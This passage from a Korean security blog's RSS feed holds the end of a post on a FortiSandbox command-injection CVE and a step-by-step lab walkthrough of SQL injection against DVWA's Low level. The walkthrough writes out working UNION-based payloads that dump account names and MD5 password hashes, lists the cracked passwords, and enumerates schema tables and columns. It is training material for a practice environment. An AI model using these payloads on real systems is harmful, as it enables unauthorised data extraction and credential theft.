&lt;p data-sourcepos=&quot;277:1-277:17;6898-6914&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 블로그의 관련 글:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;278:1-279:95;6915-7109&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;278:1-278:100;6915-7014&quot;&gt;같은 OS Command Injection 유형의 다른 사례 &amp;rarr; &lt;a href=&quot;https://y0-0ns.tistory.com/20&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CVE-2025-20393: Cisco AsyncOS RCE 취약점 분석&lt;/a&gt;&amp;nbsp;&lt;/li&gt;
&lt;li data-sourcepos=&quot;279:1-279:95;7015-7109&quot;&gt;OS Command Injection의 개념적 기반 &amp;rarr; &lt;a href=&quot;https://y0-0ns.tistory.com/28&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CWE-89: SQL 인젝션 완전 정리 (Injection 계열 취약점)&lt;/a&gt;&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-sourcepos=&quot;283:1-283:11;7116-7126&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;284:1-288:74;7127-7610&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;284:1-284:88;7127-7214&quot;&gt;&lt;a href=&quot;https://fortiguard.fortinet.com/psirt/FG-IR-26-100&quot;&gt;Fortinet 공식 어드바이저리 FG-IR-26-100&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;285:1-285:80;7215-7294&quot;&gt;&lt;a href=&quot;https://github.com/samu-delucas/CVE-2026-39808&quot;&gt;발견자 samu-delucas PoC GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;286:1-286:157;7295-7451&quot;&gt;&lt;a href=&quot;https://www.helpnetsecurity.com/2026/04/16/fortinet-fortisandbox-vulnerabilities-cve-2026-39813-cve-2026-39808/&quot;&gt;Help Net Security - FortiSandbox 취약점 분석&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;287:1-287:85;7452-7536&quot;&gt;&lt;a href=&quot;https://gbhackers.com/poc-released-for-fortisandbox-flaw/&quot;&gt;GBHackers - PoC 공개 분석&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;288:1-288:74;7537-7610&quot;&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-39808&quot;&gt;NVD - CVE-2026-39808&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>취약점 분석/CVE</category>
      <category>CVE-2026-39808</category>
      <category>CWE-78</category>
      <category>fortinet</category>
      <category>FortiSandbox</category>
      <category>OSCommandInjection</category>
      <category>RCE</category>
      <category>SoC</category>
      <category>spl</category>
      <category>Splunk</category>
      <category>취약점분석</category>
      <author>y0.0ns</author>
      <guid isPermaLink="true">https://y0-0ns.tistory.com/31</guid>
      <comments>https://y0-0ns.tistory.com/31#entry31comment</comments>
      <pubDate>Fri, 17 Jul 2026 10:42:51 +0900</pubDate>
    </item>
    <item>
      <title>SQL 인젝션 실습 2편 - DVWA Low 레벨 공격</title>
      <link>https://y0-0ns.tistory.com/30</link>
      <description>&lt;h2 data-sourcepos=&quot;7:1-7:8;119-126&quot; data-ke-size=&quot;size26&quot;&gt;들어가며&lt;/h2&gt;
&lt;p data-sourcepos=&quot;9:1-9:122;128-249&quot; data-ke-size=&quot;size16&quot;&gt;환경 구성이 끝났으니 본격적으로 SQL 인젝션 공격을 진행했다. Low 레벨은 입력값 검증이 전혀 없어서 가장 기본적인 공격 기법을 그대로 사용할 수 있다. 에러 확인부터 DB 전체 정보 추출까지 단계별로 진행해봤다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;11:1-11:61;251-311&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;환경 구성 글:&lt;/b&gt; &lt;a href=&quot;https://y0-0ns.tistory.com/29&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SQL 인젝션 실습 1편 - DVWA 환경 구성&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;15:1-15:15;318-332&quot; data-ke-size=&quot;size26&quot;&gt;1. 정상 동작 확인&lt;/h2&gt;
&lt;p data-sourcepos=&quot;17:1-17:53;334-386&quot; data-ke-size=&quot;size16&quot;&gt;SQL Injection 메뉴에서 User ID 입력창에 &lt;b&gt;1&lt;/b&gt; 입력 후 Submit.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2026-07-14 19 45 12.png&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;282&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/davDs6/dJMcahrFZek/PihgKdtHoYg5hb2K88Hx2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/davDs6/dJMcahrFZek/PihgKdtHoYg5hb2K88Hx2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/davDs6/dJMcahrFZek/PihgKdtHoYg5hb2K88Hx2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdavDs6%2FdJMcahrFZek%2FPihgKdtHoYg5hb2K88Hx2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1022&quot; height=&quot;282&quot; data-filename=&quot;2026-07-14 19 45 12.png&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;282&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div data-sourcepos=&quot;21:1-29:4;426-526&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;결과:
ID: 1
First name: admin
Surname: admin

내부적으로 실행된 쿼리:
SELECT * FROM users WHERE id = '1'&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;31:1-31:39;528-566&quot; data-ke-size=&quot;size16&quot;&gt;정상적으로 DB에서 ID 1번 사용자를 조회해서 출력하는 것을 확인.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;35:1-35:31;573-603&quot; data-ke-size=&quot;size26&quot;&gt;2. SQL 에러 확인 (인젝션 가능 여부 판단)&lt;/h2&gt;
&lt;p data-sourcepos=&quot;37:1-37:38;605-642&quot; data-ke-size=&quot;size16&quot;&gt;입력창에 &lt;b&gt;1'&lt;/b&gt; (작은따옴표 추가) 입력 후 Submit.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2026-07-14 19 46 06.png&quot; data-origin-width=&quot;1583&quot; data-origin-height=&quot;116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Dtvfh/dJMcaiYhmEw/hL00RVjDZCmTykYE43bzUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Dtvfh/dJMcaiYhmEw/hL00RVjDZCmTykYE43bzUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Dtvfh/dJMcaiYhmEw/hL00RVjDZCmTykYE43bzUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDtvfh%2FdJMcaiYhmEw%2FhL00RVjDZCmTykYE43bzUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1583&quot; height=&quot;116&quot; data-filename=&quot;2026-07-14 19 46 06.png&quot; data-origin-width=&quot;1583&quot; data-origin-height=&quot;116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div data-sourcepos=&quot;41:1-52:4;672-854&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;awk&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;에러 메시지:
You have an error in your SQL syntax...near ''1''' at line 1

해석:
'1' 을 입력했더니 내부 쿼리가:
WHERE id = ''1'''
이렇게 따옴표가 엉켜서 문법 오류 발생

&amp;rarr; 입력값을 그대로 SQL에 넣는다는 증거
&amp;rarr; SQL 인젝션 가능 확인&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;56:1-56:28;861-888&quot; data-ke-size=&quot;size26&quot;&gt;3. 전체 사용자 목록 추출 (OR 1=1)&lt;/h2&gt;
&lt;p data-sourcepos=&quot;58:1-58:9;890-898&quot; data-ke-size=&quot;size16&quot;&gt;입력창에 입력:&lt;/p&gt;
&lt;div data-sourcepos=&quot;60:1-62:4;900-920&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;1' OR '1'='1&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div data-sourcepos=&quot;66:1-77:4;956-1147&quot;&gt;
&lt;div&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2026-07-14 19 47 04.png&quot; data-origin-width=&quot;1030&quot; data-origin-height=&quot;630&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgwgfh/dJMcaf8ld0v/DqLza42ye1RwVB7AGzgqSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgwgfh/dJMcaf8ld0v/DqLza42ye1RwVB7AGzgqSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgwgfh/dJMcaf8ld0v/DqLza42ye1RwVB7AGzgqSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbgwgfh%2FdJMcaf8ld0v%2FDqLza42ye1RwVB7AGzgqSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1030&quot; height=&quot;630&quot; data-filename=&quot;2026-07-14 19 47 04.png&quot; data-origin-width=&quot;1030&quot; data-origin-height=&quot;630&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;변조된 쿼리:
SELECT * FROM users WHERE id = '1' OR '1'='1'

'1'='1' 은 항상 참
&amp;rarr; WHERE 조건이 항상 참
&amp;rarr; DB의 모든 사용자 반환

결과:
admin / Gordon Brown / Hack Me / Pablo Picasso / Bob Smith
&amp;rarr; 5명 전체 계정 정보 노출&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;81:1-81:28;1154-1181&quot; data-ke-size=&quot;size26&quot;&gt;4. 비밀번호 해시 추출 (UNION 기반)&lt;/h2&gt;
&lt;p data-sourcepos=&quot;83:1-83:15;1183-1197&quot; data-ke-size=&quot;size16&quot;&gt;처음에 아래처럼 입력했다:&lt;/p&gt;
&lt;div data-sourcepos=&quot;85:1-87:4;1199-1251&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;1' UNION SELECT user, password FROM users --&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2026-07-14 19 47 46.png&quot; data-origin-width=&quot;1568&quot; data-origin-height=&quot;164&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eoY8l7/dJMb998aHrR/Z0LvSp3EOU4Z0FZWlxaEP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eoY8l7/dJMb998aHrR/Z0LvSp3EOU4Z0FZWlxaEP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eoY8l7/dJMb998aHrR/Z0LvSp3EOU4Z0FZWlxaEP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeoY8l7%2FdJMb998aHrR%2FZ0LvSp3EOU4Z0FZWlxaEP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1568&quot; height=&quot;164&quot; data-filename=&quot;2026-07-14 19 47 46.png&quot; data-origin-width=&quot;1568&quot; data-origin-height=&quot;164&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div data-sourcepos=&quot;91:1-98:4;1283-1433&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;에러 메시지:
You have an error in your SQL syntax...near '--'' at line 1

이유:
MariaDB/MySQL에서 -- 주석은 뒤에 공백이 필요하다.
공백 없이 -- 만 쓰면 주석으로 인식하지 않아서 오류 발생&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;100:1-100:22;1435-1456&quot; data-ke-size=&quot;size16&quot;&gt;-- 대신 # 으로 바꿔서 다시 입력:&lt;/p&gt;
&lt;div data-sourcepos=&quot;102:1-104:4;1458-1509&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;1' UNION SELECT user, password FROM users #&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2026-07-14 19 48 39.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;719&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YqgHM/dJMcajpks5Y/4knAsFGnk9ntDBLtwEO7GK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YqgHM/dJMcajpks5Y/4knAsFGnk9ntDBLtwEO7GK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YqgHM/dJMcajpks5Y/4knAsFGnk9ntDBLtwEO7GK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYqgHM%2FdJMcajpks5Y%2F4knAsFGnk9ntDBLtwEO7GK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;719&quot; data-filename=&quot;2026-07-14 19 48 39.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;719&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div data-sourcepos=&quot;108:1-121:4;1543-1914&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;변조된 쿼리:
SELECT first_name, last_name FROM users WHERE id = '1'
UNION SELECT user, password FROM users #

&amp;rarr; 원래 쿼리 결과 + users 테이블의 계정명/비밀번호 같이 출력

결과:
admin   : 5f4dcc3b5aa765d61d8327deb882cf99
gordonb : e99a18c428cb38d5f260853678922e03
1337    : 8d3533d75ae2c3966d7e0d4fcc69216b
pablo   : 0d107d09f5bbe40cade3de5c71e9e9b7
smithy  : 5f4dcc3b5aa765d61d8327deb882cf99&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;123:1-124:71;1916-2009&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;123:3-124:71;1918-2009&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 -- 대신 # 을 쓰냐면&lt;/b&gt;: MariaDB/MySQL에서 -- 주석은 뒤에 공백이 필요하다. # 은 공백 없이도 주석으로 인식되어 더 편리하다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-sourcepos=&quot;126:1-126:18;2011-2028&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;126:1-126:18;2011-2028&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MD5 해시 크랙 결과:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;128:1-134:37;2030-2243&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;계정&lt;/td&gt;
&lt;td&gt;해시&lt;/td&gt;
&lt;td&gt;실제 비밀번호&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;admin&lt;/td&gt;
&lt;td&gt;5f4dcc3b5...&lt;/td&gt;
&lt;td&gt;password&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;gordonb&lt;/td&gt;
&lt;td&gt;e99a18c42...&lt;/td&gt;
&lt;td&gt;abc123&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1337&lt;/td&gt;
&lt;td&gt;8d3533d75...&lt;/td&gt;
&lt;td&gt;charley&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pablo&lt;/td&gt;
&lt;td&gt;0d107d09f...&lt;/td&gt;
&lt;td&gt;letmein&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;smithy&lt;/td&gt;
&lt;td&gt;5f4dcc3b5...&lt;/td&gt;
&lt;td&gt;password&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;136:1-136:72;2245-2316&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;136:3-136:72;2247-2316&quot; data-ke-size=&quot;size16&quot;&gt;MD5는 이미 크랙된 해시가 대부분 공개되어 있어서 온라인 도구(crackstation.net 등)로 쉽게 복호화 가능하다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;140:1-140:20;2323-2342&quot; data-ke-size=&quot;size26&quot;&gt;5. DB 버전 및 이름 추출&lt;/h2&gt;
&lt;p data-sourcepos=&quot;142:1-142:9;2344-2352&quot; data-ke-size=&quot;size16&quot;&gt;입력창에 입력:&lt;/p&gt;
&lt;div data-sourcepos=&quot;144:1-146:4;2354-2401&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;1' UNION SELECT version(), database() #&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2026-07-14 19 49 50.png&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;360&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t9qnH/dJMcac4Txcu/iqxOdNv1K6d2eCx5bT6hMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t9qnH/dJMcac4Txcu/iqxOdNv1K6d2eCx5bT6hMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t9qnH/dJMcac4Txcu/iqxOdNv1K6d2eCx5bT6hMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft9qnH%2FdJMcac4Txcu%2FiqxOdNv1K6d2eCx5bT6hMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1022&quot; height=&quot;360&quot; data-filename=&quot;2026-07-14 19 49 50.png&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;360&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div data-sourcepos=&quot;150:1-158:4;2436-2614&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;결과:
First name: 10.1.26-MariaDB-0+deb9u1  &amp;larr; DB 버전
Surname: dvwa                           &amp;larr; 현재 DB 이름

&amp;rarr; MariaDB 10.1.26 사용 중
&amp;rarr; DB 이름은 dvwa
&amp;rarr; 공격자는 이 정보로 해당 버전의 추가 취약점을 찾아냄&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;162:1-162:16;2621-2636&quot; data-ke-size=&quot;size26&quot;&gt;6. 테이블 목록 추출&lt;/h2&gt;
&lt;p data-sourcepos=&quot;164:1-164:9;2638-2646&quot; data-ke-size=&quot;size16&quot;&gt;입력창에 입력:&lt;/p&gt;
&lt;div data-sourcepos=&quot;166:1-168:4;2648-2747&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='dvwa' #&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div data-sourcepos=&quot;172:1-180:4;2780-2939&quot;&gt;
&lt;div&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2026-07-14 19 52 09.png&quot; data-origin-width=&quot;1025&quot; data-origin-height=&quot;453&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r6tZY/dJMcabrpEVy/MNi7p8HwAn2sq9efckuTn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r6tZY/dJMcabrpEVy/MNi7p8HwAn2sq9efckuTn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r6tZY/dJMcabrpEVy/MNi7p8HwAn2sq9efckuTn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr6tZY%2FdJMcabrpEVy%2FMNi7p8HwAn2sq9efckuTn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1025&quot; height=&quot;453&quot; data-filename=&quot;2026-07-14 19 52 09.png&quot; data-origin-width=&quot;1025&quot; data-origin-height=&quot;453&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;결과:
guestbook  &amp;larr; 방명록 테이블
users      &amp;larr; 사용자 계정 테이블

&amp;rarr; information_schema는 MySQL/MariaDB가 자체적으로 가지고 있는
  DB 구조 정보를 담은 시스템 테이블
&amp;rarr; 여기서 테이블 목록, 컬럼 목록 등을 조회 가능&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;182:1-183:98;2941-3057&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;182:3-183:98;2943-3057&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;NULL을 넣는 이유&lt;/b&gt;: UNION은 두 쿼리의 컬럼 수가 같아야 한다. 원래 쿼리가 컬럼 2개이므로 UNION SELECT도 2개가 필요한데, 두 번째 자리에 필요 없는 값은 NULL로 채운다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;187:1-187:15;3064-3078&quot; data-ke-size=&quot;size26&quot;&gt;7. 컬럼 목록 추출&lt;/h2&gt;
&lt;p data-sourcepos=&quot;189:1-189:9;3080-3088&quot; data-ke-size=&quot;size16&quot;&gt;입력창에 입력:&lt;/p&gt;
&lt;div data-sourcepos=&quot;191:1-193:4;3090-3190&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' #&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div data-sourcepos=&quot;197:1-209:4;3222-3429&quot;&gt;
&lt;div&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2026-07-14 19 54 00.png&quot; data-origin-width=&quot;1034&quot; data-origin-height=&quot;983&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dDrxJK/dJMcafObEQA/K78YkCZfV1k5hh0IzbGFz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dDrxJK/dJMcafObEQA/K78YkCZfV1k5hh0IzbGFz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dDrxJK/dJMcafObEQA/K78YkCZfV1k5hh0IzbGFz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdDrxJK%2FdJMcafObEQA%2FK78YkCZfV1k5hh0IzbGFz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1034&quot; height=&quot;983&quot; data-filename=&quot;2026-07-14 19 54 00.png&quot; data-origin-width=&quot;1034&quot; data-origin-height=&quot;983&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;결과:
users 테이블 컬럼 목록:

user_id      &amp;larr; 사용자 ID 번호
first_name   &amp;larr; 이름
last_name    &amp;larr; 성
user         &amp;larr; 계정명
password     &amp;larr; 비밀번호 (해시)
avatar       &amp;larr; 프로필 이미지
last_login   &amp;larr; 마지막 로그인 시간
failed_login &amp;larr; 로그인 실패 횟수&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;213:1-213:22;3436-3457&quot; data-ke-size=&quot;size26&quot;&gt;8. 원하는 데이터 자유롭게 추출&lt;/h2&gt;
&lt;p data-sourcepos=&quot;215:1-215:30;3459-3488&quot; data-ke-size=&quot;size16&quot;&gt;컬럼 목록을 알았으니 원하는 데이터를 뽑을 수 있다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;217:1-219:4;3490-3543&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;1' UNION SELECT user, last_login FROM users #&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
